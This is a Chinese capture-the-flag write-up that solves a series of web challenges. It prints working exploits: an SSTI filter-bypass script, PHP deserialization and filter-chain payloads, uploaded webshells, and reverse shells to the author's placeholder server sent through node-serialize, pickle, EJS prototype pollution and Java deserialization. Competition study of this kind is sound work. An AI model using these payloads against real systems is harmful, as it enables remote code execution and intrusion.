xxxx大学 x19 -- WriteUp
解出的题目:
Web:25时晓山瑞希生日会、小蓝鲨的冒险、ez_SSTI、UP!UPloader、1z_php、ezserialize、ezrce、小蓝鲨的秘密、天命人、小蓝鲨的临时存储室、千年樱、ezlogin、新闻系统、小蓝鲨的故事、ezejs、蓝鲨的java入门课堂、小蓝鲨的书店
Pwn:NetCat、girlfriend、ezgame
Misc:问卷、小蓝鲨的签到02、数字迷雾:在像素中寻找线、游园地1、游园地2、小蓝鲨的签到01、少女的秘密花园、赢!rar、老八奇怪自拍照、File_Format、watermark、秘密、奇怪的txt、神秘ping、像素圣战、starry sky、神秘的wav、来自天外的信息
Crypto:我和小蓝鲨的秘密、ChaCha20-Poly1305、小蓝鲨的密码
Re:Ezre、py不好,会被ban
一、Web
25时晓山瑞希生日会
这里设置 UA: Project Sekai 就行
这里设置 X-Forwarded-For 为 127.0.0.1
设置 Time 发现不对,设置Date有回显:
百度 RCF 822时间格式,
EEE, dd MMM yyyy HH:mm Z
格式有了,那么时间是什么时候?根据这个神秘的晓山瑞希生日会提示进行上网搜索,得到如下提示:
那时间也就是2024年8月26日 23点
所以按照这个格式来写
Mon, 26 Aug 2024 23:00:00 GMT
请求之后发现:
按照这个意思,日期改为
Mon, 27 Aug 2024 05:00:00 GMT
请求后返回flag。
小蓝鲨的冒险
先进行一个代码审计。
<?php
error_reporting(0);
highlight_file(__FILE__);
$a = "isctf2024";
$b = $_GET["b"];
@parse_str($b);
echo "小蓝鲨开始闯关,你能帮助他拿到flag吗?<br>";
if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')) {
$num = $_POST["num"];
echo "第一关有惊无险!小蓝鲨壮着胆子接着继续往下走!<br>";
if($num == 2024){
die("QAQ小蓝鲨误入陷阱,不怕,再接再厉!");
}
if(preg_match("/[a-z]/i", $num)){
die("陷阱太多QAQ");
}
if(intval($num,0) == 2024){
echo "到这了难道还要放弃吗?<br>";
if (isset($_GET['which'])){
$which = $_GET['which'];
echo "小蓝鲨貌似在哪里见过这个陷阱O.o?继续加油,还差最后一步了!";
switch ($which){
case 0:
print('QAQ');
case 1:
case 2:
require_once $which.'.php';
echo $flag;
break;
default:
echo GWF_HTML::error('PHP-0817', 'Hacker NoNoNo!', false);
break;
}
}
}
}
第一层判断:
if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')) {
也就是说我们需要让a[0]不等于QNKCDZO,同时对它进行md5也不能等于QNKCDZO的MD5值。
考虑到@parse_str($b);,可以联想到变量覆盖:令参数b=a=xxx,经过parse_str后可将a重新赋值为xxx。
那么a要填入的值应该是什么呢?由于要让md5等于QNKCDZO的MD5值,而QNKCDZO的MD5是0E830400451993494058024219903391。
这里我们看见0e开头,以及弱比较,就知道这一定利用了php的另外一个常见漏洞:md5的弱比较。0e开头会直接识别为以科学计数法作为格式的数字,也就是记为0。
关于md5弱比较这块网上讲的更清楚一些,我们这里直接百度一个md5值为0e的字符串拿来用就好,比如240610708
因此请求参数为 b=a[0]=240610708
进入了下一个判断:
$num = $_POST["num"];
echo "第一关有惊无险!小蓝鲨壮着胆子接着继续往下走!<br>";
if($num == 2024){
die("QAQ小蓝鲨误入陷阱,不怕,再接再厉!");
}
if(preg_match("/[a-z]/i", $num)){
die("陷阱太多QAQ");
}
if(intval($num,0) == 2024){
echo "到这了难道还要放弃吗?<br>";
这里是要post一个num,这个num既要等于2024,又不能直接等于2024的十进制,也不能使用十六进制绕过
所以我们就用八进制好了
2024(10) => 03750(8)
这里前面加了个0的原因是 intval 在输入字符串第一位是0时才会按八进制解析
if (isset($_GET['which'])){
$which = $_GET['which'];
echo "小蓝鲨貌似在哪里见过这个陷阱O.o?继续加油,还差最后一步了!";
switch ($which){
case 0:
print('QAQ');
case 1:
case 2:
require_once $which.'.php';
echo $flag;
break;
default:
echo GWF_HTML::error('PHP-0817', 'Hacker NoNoNo!', false);
break;
}
}
接下来需要我们传参which,我们仔细观察输出flag部分的代码块。
看到后面的switch case都是数字,这里可以利用另外一个PHP特性:switch case为数字时,传参字符串如果不包含数字,会解析为0
正好从case 0 到 case 2之间都没有break,可以顺利走到2的地方去。
这里echo flag之前有一句require_once which.‘.php’;,那么为了拿到flag,必须保证这一行不会有问题,否则就无法输出flag。因此我们需要找到另外一个可用的未被引用的php文件。随便测试一下,发现flag.php是存在的,那就你吧!
直接which=flag
返回flag。
ez_SSTI
根据题目名和简介,可以知道应该是考python flask SSTI漏洞。
我们在输入框里随便构建几个字符串进行测试,比如{{7*7}}
发现返回了49,那基本确定了就是这个考点。
我们直接输一个获取当前系统所有py模块的代码:{{[].class.base.subclasses()")}}
发现存在waf,所以现在需要绕过。
具体构建方式可参考此文档:
python SSTI 过滤器绕过 - meraklbz - 博客园
依照此构建方法,我们构建payload:
**<font style="color:rgb(216, 59, 100);background-color:rgb(249, 242, 244);">__import__('os').popen('cat ../flag').read()</font>**
:
{% set pld = xhx2impxhx2leftyinsoyinrightpointponleftyincaspacepointpointslasflgyinrightpointredleft~right %}
最终的poc:
import requests
url="http://27.25.151.12:21517/"
payload="""
{% set zero = (self|int) %}
{% set one = (zero**zero)|int %}
{% set two = (zero-one-one)|abs %}
{% set three = (zero-one-one-one)|abs %}
{% set four = (two*two)|int %}
{% set five = (two*two*two-one-one-one)|int %}
{% set six=(three*two)|int%}
{% set seven = (zero-one-one-five)|abs %}
{% set eight=(two*four) |int %}
{% set nine = (zero-seven-one-one)|abs %}
{% set c = dict(c=aa)|reverse|first %}
{% set bfh = self|string|urlencode|first %}
{% set bfhc=bfh~c %}
{% set slas = bfhc%((four~seven)|int) %}
{% set yin = bfhc%((three~nine)|int) %}
{% set xhx = bfhc%((nine~five)|int) %}
{% set right = bfhc%((four~one)|int) %}
{% set left = bfhc%((four~zero)|int) %}
{% set space = bfhc%((three~two)|int) %}
{% set point = bfhc%((four~six)|int) %}
{% set leftsquare = bfhc%((nine~one)|int) %}
{% set rightsquare =bfhc%((nine~three)|int) %}
{% set but = dict(buil=aa,tins=dd)|join %}
{% set imp = dict(imp=aa,ort=dd)|join %}
{% set pon = dict(po=aa,pen=dd)|join %}
{% set so = dict(o=aa,s=dd)|join %}
{% set ca = dict(ca=aa,t=dd)|join %}
{% set flg = dict(fl=aa,ag=dd)|join %}
{% set sl = dict(l=aa,s=bb)|join %}
{% set dri = dict(di=aa,r=bb)|join %}
{% set ev = dict(ev=aa,al=dd)|join %}
{% set red = dict(re=aa,ad=dd)|join %}
{% set bul = xhx~xhx~but~xhx~xhx %}
{% set ini = dict(ini=aa,t=bb)|join %}
{% set glo = dict(glo=aa,bals=bb)|join %}
{% set itm = dict(ite=aa,ms=bb)|join %}
{% set pld = xhx*2~imp~xhx*2~left~yin~so~yin~right~point~pon~left~yin~ca~space~point~point~slas~flg~yin~right~point~red~left~right %}
{% for f,v in (self|attr(xhx~xhx~ini~xhx~xhx)|attr(xhx~xhx~glo~xhx~xhx)|attr(itm))() %}
{% if f == bul %}
{% for a,b in (v|attr(itm))() %}
{% if a == ev %}
{{b(pld)}}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
"""
payload=payload.replace(" ","\n")
data={"user_input":payload}
print(requests.post(data=data,url=url).text)
替换url,运行即可获得flag。
UP!UPloader
请求index.php可以请求通,初步判断是考察php文件上传rce。
随便上传一个一句话shell,回显:
提示include.php,我们进去看看:
推测点了包含文件后就会执行include(PHP)的方法。
我们尝试include index.php,发现可以正常包含,推测成立。
构建:php://filter/convert.base64-encode/resource=index.php** **来读取index.php的源码:
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<title>文件上传示例</title>
</head>
<body>
<form action="upload.php" method="post" enctype="multipart/form-data">
<label for="file">选择要上传的文件:</label>
<input type="file" name="file" id="file" required>
<br><br>
<input type="submit" value="上传文件">
</form>
</body>
</html>
没什么亮点,依法炮制拿到upload.php:
<?php
error_reporting(0);
$file = $_FILES['file'];
if (isset($file) && $file['size'] > 0) {
$ext = pathinfo($file['name'], PATHINFO_EXTENSION);
$name = pathinfo($file['name'], PATHINFO_FILENAME);
$dir_name = $name . '.' . $ext;
$upload_dir = './uploads/';
if (!is_dir($upload_dir)) {
mkdir($upload_dir, 0755, true);
}
if (move_uploaded_file($file['tmp_name'], $upload_dir . md5($dir_name) . '.' . $ext)) {
echo "文件上传成功!不过文件路径可不好找呀~什么?什么include.php?我不知道啊。" ;
} else {
echo "文件存储失败,未知原因......";
}
die();
}
?>
代码审计可以发现上传路径为uploads/文件md5.后缀名,所以我们上传的crash.php可访问路径就是/uploads/beade939f8b8be6272b68b7b29f60152.php。
直接启动中国蚁剑进行连接。
根目录找flag。
1z_php
<?php
highlight_file('index.php');
#一句话木马,神神又奇奇
if(isset($_POST['J'])){
$call=$_POST['J'];
$dangerous_commands = ['cat', 'tac', 'head', 'nl', 'more', 'less', 'tail', 'vi', 'sed', 'od'];
foreach ($dangerous_commands as $command) {
if (preg_match("/$command/i", $call)) {
die("这些个危险函数可不兴使啊");
}
}
system($call);
}
?>
签到题,直接
发现flag,用sort读取。
ezserialize
<?php
error_reporting(0);
class Flag {
private $flag;
public function __construct() {
$this->flag = file_get_contents('/flag');
}
public function getFlag() {
return $this->flag;
}
public function __toString() {
return "You can't directly access the flag!";
}
}
class User {
public $username;
public $isAdmin = false;
public function __construct($username) {
$this->username = $username;
}
public function __wakeup() {
if ($this->isAdmin) {
echo "Welcome, admin! Here's your flag: " . (new Flag())->getFlag();
} else {
echo "Hello, " . htmlspecialchars($this->username) . "!";
}
}
}
if (isset($_GET['data'])) {
$data = $_GET['data'];
$object = unserialize($data);
if ($object instanceof User) {
echo $object;
} else {
echo "Invalid object!";
}
} else {
highlight_file(__FILE__);
}
?>
代码审计,这可能是世界上最简单的php反序列化考题。
我们只需让isAdmin=true,剩下的都不需要构建什么链了。
直接上poc:
<?php
class User {
public $username;
public $isAdmin = true;
}
$ins = new User();
echo serialize($ins);
结果:O:4:"User":2:{s:8:"username";N;s:7:"isAdmin";b:1;}
直接去请求:
ezrce
<?php
error_reporting(0);
if (isset($_GET['cmd'])) {
$cmd = $_GET['cmd'];
if (preg_match("/flag|cat|ls|echo|php|bash|sh|more| |less|head|tail|[\|\&\>\<]|eval|system|exec|popen|shell_exec/i", $cmd)) {
die("Blocked by security filter!");
} else {
eval($cmd);
}
} else {
highlight_file(__FILE__);
}
?>
waf关键词还挺多的。
观察响应头,发现php版本7.3,支持字符串拼接绕过:
(s.y.s.t.e.m)("whoami");
通过字符串拼接直接构建出payload,执行。后面我当时具体怎么做的忘了。这里提供另外一种办法:
另外一种办法是不去调用system,而是用var_dump(scandir('/'));获取目录内容。
然后在使用readfile("/fla"."g")去读flag
小蓝鲨的秘密
直接访问题目链接发现会被跳转到蓝鲨信息官网,盲猜302跳转,我们使用burpsuite拦截css
直接拿flag。
天命人
<?php
error_reporting(0);
# 帮天命人搜集法宝,重获齐天之姿!
class Wuzhishan{
public $wu="俺老孙定要踏破这五指山!<br>";
public $zhi;
public $shan;
function __get($j)
{
echo "此地阴阳二气略显虚浮,加上刚刚带入的阳气,或可借此遁逃!<br>";
$yin="s214587387a";
$yang=$_GET['J'];
if (md5($yin)==$yang&&md5($yin)==md5($yang)){
echo "哦?又一个不信天命之人?行了,拿了东西速速离开吧<br>";
system('cat /flag');
}
}
}
class Huoyanjinjing{
public $huoyan;
public $jinjing;
function __get($huo)
{
$this->huoyan="火眼能洞察一切邪祟!<br>";
echo $this->huoyan->jinjing;
}
function __invoke()
{
$this->jinjing="金睛能看破世间迷惘!<br>";
echo $this->huoyan->jinjing;
}
}
class Dinghaishenzhen{
public $Jindou="一个筋斗能翻十万八千里!<br>";
public $yun;
function __toString()
{
$f=$this->yun;
$f();
return "你真的逃出去了吗?天命人?<br>";
}
}
class Jingdouyun{
public $Qishier=72;
public $bian="看俺老孙七十二变!<br>";
function __sleep()
{
echo "三更敲门,菩提老祖送我筋斗云...<br>";
echo new Jindouyun();
}
}
class Tianmingren {
public $tianming;
public $ren;
function __destruct()
{
echo "迷途中的羔羊,你相信天命吗?<br>";
echo $this->tianming;
}
}
$data = unserialize($_POST['Wukong']);
throw new Exception('开局一根棍,装备全靠打。');
?>
代码审计,首先是PHP反序列化,我们构建pop链:
Tianmingren=>Dinghaishenzhen=>Huoyanjinjing=>Wuzhishan,
其中Dinghaishenzhen到Huoyanjinjing这部分利用的是$f();调用魔术方法__invoke(),
Huoyanjinjing到Wuzhishan这部分利用的是->jinjing,即调用到不存在的字段时调用魔术方法__get($j)。
另外考虑到unserialize下方有一句throw new Exception,它将阻止我们在反序列化之后调用类的__destruct魔术方法,从而无法使我们的调用链成功执行。因此我们必须尝试使PHP GC强制回收一次以触发我们的__destruct魔术方法。
关于这部分内容,详细了解可以去看浅谈php GC(垃圾回收)机制及其与CTF的一点缘分 - 海屿-uf9n1x - 博客园
完整poc:
<?php
# 帮天命人搜集法宝,重获齐天之姿!
class Wuzhishan{
public $wu="";
public $zhi;
public $shan;
}
class Huoyanjinjing{
public $huoyan;
public $jinjing;
}
class Dinghaishenzhen{
public $Jindou="";
public $yun;
}
class Tianmingren {
public $tianming;
public $ren;
}
$data = new Tianmingren();
$theTianMing = new Dinghaishenzhen();
$theYun = new Huoyanjinjing();
$theHuoyan = new Wuzhishan();
$theYun->huoyan = $theHuoyan;
$theTianMing->yun = $theYun;
$data->tianming = $theTianMing;
echo serialize(array($data, 0) );
我们将通过上面代码拿到的序列化字符串进行一些修改使其gc强制工作:
原字符串:
<font style="color:rgb(0, 0, 0);">a:2:{i:0;O:11:"Tianmingren":2:{s:8:"tianming";O:15:"Dinghaishenzhen":2:{s:6:"Jindou";s:0:"";s:3:"yun";O:13:"Huoyanjinjing":2:{s:6:"huoyan";O:9:"Wuzhishan":3:{s:2:"wu";s:0:"";s:3:"zhi";N;s:4:"shan";N;}s:7:"jinjing";N;}}s:3:"ren";N;}i:1;i:0;}</font>
<font style="color:rgb(0, 0, 0);">修改为</font>
<font style="color:rgb(0, 0, 0);">a:1:{i:0;O:11:"Tianmingren":2:{s:8:"tianming";O:15:"Dinghaishenzhen":2:{s:6:"Jindou";s:0:"";s:3:"yun";O:13:"Huoyanjinjing":2:{s:6:"huoyan";O:9:"Wuzhishan":3:{s:2:"wu";s:0:"";s:3:"zhi";N;s:4:"shan";N;}s:7:"jinjing";N;}}s:3:"ren";N;}i:1;i:0;}</font>
<font style="color:rgb(0, 0, 0);">就能正常走到最终的判断块了,至于那个md5判断,只需要参数放一个开头为0e,md5之后还是0e的字符串,就可以绕过。这里提供一个可用的:0e215962017</font>
<font style="color:rgb(0, 0, 0);">最终post参数,拿到flag。</font>
小蓝鲨的临时存储室
一上来是个文件上传,我们直接上传一句话shell。
非常贴心,上传完还回显了路径。我们直接用中国蚁剑连接。
找到flag了,可惜打开是空的,但是大小也不是0byte呀?
这是因为权限问题:
你再多停留一会,就会发现中国蚁剑已经无法正常使用了:
推测可能是存在某脚本进行文件删除行为,将我们的shell删掉了。因此我们下次行动必须稍微快一点。
再次上传脚本并连接,发现可疑脚本down_file.sh,打开:
果然印证了我们的猜想,我们直接火速删除这行代码并保存,防止后续再删。
那么是否可以借助这个定时运行的脚本来修改我们flag的权限呢?
我们直接在里面的内容加上 chmod 755 /flag 并保存,再将down_file.sh这个文件的权限修改为0755,执行该脚本之后,便发现我们的flag权限已经被调整为0755,可以直接打开了。
千年樱
<?php
include "dir.php";
highlight_file(__FILE__);
echo "proof of work<br>";
if($_COOKIE['from'] === "ISCTF"){
echo $dir1;
}
else{
die('what? so where are you from?');
}
// <!-- do you want to learn more? goto story.txt -->
?> proof of work
what? so where are you from?
首先是需要设置Cookie的from=ISCTF
根据回显提示,前往/get_contents_qwerghjkl.php
<!DOCTYPE html>
<html>
<head>
<title>read! read! read!</title>
</head>
<body style="background: '/static/bg1.png' ">
<?php
include "dir.php";
highlight_file(__FILE__);
if(file_get_contents($_POST['name']) === 'ISCTF'){
echo $dir2;
}
else{
die("Wrong!");
}
?>
</body>
</html>
这里需要让file_get_contents获取到ISCTF,可以使用data协议:
data://text/plain;ISCTF
根据回显前往/well_down_mlpnkobji.php
<!DOCTYPE html>
<html>
<head>
<title>read! read! read! we need read!!!</title>
</head>
<body style="background-image: url('/static/bg2.png'); background-size: cover; background-attachment: fixed; ">
<?php
include "dir.php";
highlight_file(__FILE__);
function waf($str){
if(preg_match("/http|php|file|:|=|\/|\?/i", $str) ){
die('bad hacker!!!');
}
}
$poc = $_POST['poc'];
waf($poc);
$filename = "php://filter/$poc/resource=/var/www/html/badChar.txt";
$result = file_get_contents($filename);
if($result === "sakura for ISCTF"){
echo "yes! master!";
eval($_POST['cmd']);
}
if($_GET['output'] == 114514 && !is_numeric($_GET['output'])){
var_dump($result);
}
?>
</body>
</html>
这里是要求我们通过php filter伪协议实现从流中读取内容为sakura for ISCTF,
我们使用这个在线小工具生成过滤流:
(这里考虑到由于该文件是有内容的,我们在使用小工具生成前需要思考如何将文件的内容删去。这里有一个方法:通过在sakura for ISCTF后添加<?php,在该php标签之后的内容都将会被php视为代码,之后在我们生成的过滤流最后添加上|string.strip_tags
来删除这部分内容即可。)
生成之后的结果:
convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.ISO-8859-14.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|string.strip_tags
直接将这一坨拿去请求会发现报错:
这是因为第一句的韩文编码存在问题,我们将开头的convert.iconv.UTF8.CSISO2022KR|删去再次请求即可得到回显:
此时可以达成RCE,我们直接ls:
发现当前目录下存在flag.php,直接cat获取flag。
ezlogin
首先代码审计,可以发现后端采用ejs编写。ejs这块一般常考的一个原型链污染,另一个就是反序列化rce。Node.js 常见漏洞学习与总结 - 先知社区
打开看到auth函数内有对unserialize的调用,八九不离十就是反序列化rce了。
这里说一下要如何利用:
在将要被反序列化的json中,包含一个值,这个值有“ND_FUNC”这个字符串。在该字符串后面可以携带javascript进行执行。
基于这个原理,我们构建一个exploit rce json:(由于拿不到回显 我们需要一台服务器来反弹shell)
{"rce":"_$ND_FUNC$_function(){var net=require('net'),cp=require('child_process'),sh=cp.spawn('/bin/sh',[]);var client=new net.Socket();client.connect(服务器port,'服务器ip',function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;}()","username":"guest","isAdmin":"true"}
将该json base64编码后放入cookie中GET /index 即可反弹shell
新闻系统
这题有附件。打开附件进行代码审计:
一上来就看见flask和secret key,并且secret key已知,那么很有可能会在这里有说法。
一般来说就是flask session伪造之类的。
再往下看,发现了pickle.loads,并且参数可控,那很有可能也考pickle反序列化攻击漏洞。
继续审计,发现存在admin界面,并且是从session中读取状态。
那么这就需要我们伪造Session了。
直接使用flask-session-manager进行伪造:
.eJyrVipILC4uzy9KUbJSSkzJzcwzMjJS0lEqLkksKS2GiQEFSotTi_ISc1PhQrUAUyMTvw.ZzHlBQ.A0rqgO-aQi4R5-cbMqY4vC-lMAQ
成功进入后台界面。此时我们继续审计代码:
@app.route("/add", methods=["POST"])
def add_news():
if session.get('status') != 'admin' or session.get('username') != 'admin' or session.get('password') != 'admin222':
return redirect("/login")
serialized_news = request.form["serialized_news"]
if newslist.add_news(serialized_news):
return redirect("/admin")
else:
return jsonify({"error": "Failed to add news"})
这一块是用来添加新闻的,可以看到有一个add_news,我们进去看下:
def add_news(self, serialized_news) -> None:
try:
news_data = base64.b64decode(serialized_news)
black_list = ['create_news','export_news','add_news','get_news']
for i in black_list:
if i in str(news_data):
return False
news = pickle.loads(news_data)
if isinstance(news,News):
for i in self.news_list:
if i.title == news.title:
return False
self.news_list.append(news)
return True
return False
except Exception:
return False
这里就涉及到我们上文审计到的pickle.loads方法了。因此我们现在开始构造包含攻击的News实例,并使用pickles.dumps导出序列化数据。
理论上去给类添加__reduce__去做也是没有问题的,这里没有限制字节码。不过我这里还是想提一下用pker去在字节码层面上完成此题,而且还能保证通过isinstance检测,让界面不崩溃。
为了方便,这里我们使用pker构建我们的payload:
(这道题依然没有回显 为了反弹shell依然需要有自己的服务器)
news = OBJ(GLOBAL('__main__', 'News'), 'abcaa','defff')
s="python -c \"import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('服务器IP',服务器PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);\""
system = GLOBAL('os', 'system')
system(s)
return news
通过pyer构建该pickle字符串,导出后进行测试
import base64
import pickle
class News:
def __init__(self, title, content) -> None:
self.title = title
self.content = content
def __repr__(self) -> str:
return f"news(name={self.title}, words={self.content})"
print(pickle.dumps(News("adada", "defff"), protocol=0))
abc = b'(c__main__\nNews\nS\'abcaa\'\nS\'defff\'\nop0\n0S\'python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\'XXXX\\\',XXXX));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\\\'/bin/sh\\\',\\\'-i\\\']);"\'\np1\n0cos\nsystem\np2\n0g2\n(g1\ntRg0\n.'
print(base64.b64encode(abc).decode())
inst = pickle.loads(abc)
print(isinstance(inst, News))
输出 True,说明我们构建出来的payload成功绕过了isinstance的检测。
接下来直接将payload进行提交
可以看到,正常添加,也跳转回admin界面了。并且反弹shell已连接上,直接找flag即可。
小蓝鲨的故事
这个题我做的时候还没有hint,后面给的hint是:
直接访问robots.txt,得到key:zbIBWjHS
访问/,让我们Read Hacker,所以访问/Hacker
一个小故事,可看可不看,我们右键查看源码
界面底部有一行小字,告诉我们他是 ISctf_Hacker
请求下/flag,发现有内容:
通过burpsuite再次请求/,可以发现服务端给我们设了个session:
再看header,发现这是一个Werkzeug/1.0.1 Python/2.7.18的服务端,联合session推测是Flask。
解密session,结果是{"username":{" b":"d3d3LWRhdGE="}},
联合上面得到的key,不难想到是flask-session伪造,因此我们直接flask-session-manager进行fake session,把d3d3什么玩意的替换成ISctf_Hacker
python flask_session_cookie_manager3.py encode -s zbIBWjHS -t "{'username': b'ISctf_Hacker'}"
eyJ1c2VybmFtZSI6eyIgYiI6IlNWTmpkR1pmU0dGamEyVnkifX0.ZzXv1w.bo1OD2_7wrGswsiju-NggjROpck
生成session后填入请求中,再次get /flag,直接拿到flag。
ezejs
有附件,进行代码审计。
ejs编写,并且标出来backdoor:
看见outputFunctionName和这个copy函数立刻就能联想到是原型链污染,可惜几个常用的payload被过滤了,所以我们只能找其他路子。
关于nodejs的ejs和jade模板引擎的原型链污染挖掘-安全客 - 安全资讯平台
对nodejs源码进行分析,存在几个调用点:outputFunctionName, localsName, escapeFn和destructuredLocals。前三个都被河蟹了,那只能来搞第四个。
构建json:
{"__proto__":{"destructuredLocals":["a=a;global.process.mainModule.require('child_process').execSync('nc 服务器ip 服务器port -e /bin/sh');//var __tmp2"]}}
执行后有回显,说明已经加载,此时我们重新GET /,让ejs进行界面渲染,便可反弹shell
找flag。
蓝鲨的java入门课堂
审计代码,是个jar,拖入recaf分析:
一个SpringBoot应用,其中/ser是入口,这里是考urldns链的使用。我们看下Evil这个类:
它实现了Serializable,并且重写了hashCode(),根据HashMap的readObject的调用链:
HashMap.readObject();
HashMap.putVal();
HashMap.hash();
object.hashCode();
在读取到这个Evil对象时,将会调用hashCode,此时就会执行rce,完成攻击。
因此我们需要序列化一个合适的payload。
对了,需要提醒的是Evil这个类的包名必须和原来的保持一样,不然服务端读不出来是哪个类
POC如下:
package com.company;
import cat.uwu.begin_java.Evil;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.Base64;
import java.util.HashMap;
public class testdemo {
public static byte[] serialize(final Object obj) throws Exception{
ByteArrayOutputStream btout = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(btout);
objOut.writeObject(obj);
return btout.toByteArray();
}
public static void main(String[] args) throws Exception{
Constructor<Evil> constructor = Evil.class.getDeclaredConstructor(String.class);
// 让构造函数可以访问
constructor.setAccessible(true);
// 创建Evil类的实例
Evil evilInstance = constructor.newInstance("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/XXXX/XXX 0>&1");
HashMap map = new HashMap();
map.put(evilInstance, "ab");
byte[] s = serialize(map);
byte[] buffer = Base64.getEncoder().encode(s);
String payload = new String(buffer);
System.out.println(payload);
}
}
这里为了不改变Evil实例的serializeUid,我使用反射来创建类的实例,否则post过去会报500错误。
将payload POST过去之后直接反弹shell,连接上就能cat flag。
小蓝鲨的书店
注意,本题我使用非预期解
这个题我直接用SourceLeakSearcher扫出题目源码了,不知道是不是预期的
直接审计代码,发现居然用的是THINKPHP 5.0.23,这个版本有一个严重的RCE漏洞,但经过我测试此漏洞已被修复。
在Index.php中发现它会在捐赠图书时上传image_path,而在读取书籍时将会读取image_path的文件,这就存在了任意文件读取的漏洞。
